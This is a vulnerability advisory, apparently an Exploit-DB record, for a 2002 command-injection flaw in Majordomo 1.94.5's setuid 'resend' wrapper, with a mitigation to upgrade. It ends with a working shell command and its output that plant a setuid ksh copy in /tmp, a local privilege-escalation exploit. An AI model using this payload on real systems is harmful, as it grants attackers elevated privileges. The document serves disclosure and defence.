Majordomo resend Arbitrary Command Execution Vulnerability

vendor:

Majordomo

by:

SecurityFocus

7.2

CVSS

HIGH

Arbitrary Command Execution

CWE

Product Name: Majordomo

Affected Version From: 1.94.5

Affected Version To: 1.94.5

Patch Exists: YES

Related CWE: N/A

CPE: //a:majordomo:majordomo:1.94.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2002

Majordomo resend Arbitrary Command Execution Vulnerability

It is possible to execute arbitrary commands with elevated privileges through exploiting the majordomo binary, 'resend'. A setuid root wrapper program calls resend after setuid()ing and setgid()ing to lowered (but still elevated) privileges which it runs resend with. resend contains a call to open() (it is a perl script), which can be made to execute shell commands if a '|' is the first character it is passed, so if the first parameter to resend is '@|shell;commands;here', the shell commands will be executed with resend's privileges.

Mitigation:

Upgrade to the latest version of Majordomo

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/902/info

It is possible to execute arbitrary commands with elevated privileges through exploiting the majordomo binary, "resend". A setuid root wrapper program calls resend after setuid()ing and setgid()ing to lowered (but still elevated) privileges which it runs resend with. resend contains a call to open() (it is a perl script), which can be made to execute shell commands if a '|' is the first character it is passed, so if the first parameter to resend is '@|shell;commands;here', the shell commands will be executed with resend's privileges.

bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh
/tmp/xnec;chmod 6555 /tmp/xnec'
resend: must specify '-l list' at /usr/local/majordomo/resend line 77.

bash-2.02$ ls -la /tmp/xnec
-r-sr-sr-x 1 owner daemon 361688 Dec 29 06:26 /tmp/xnec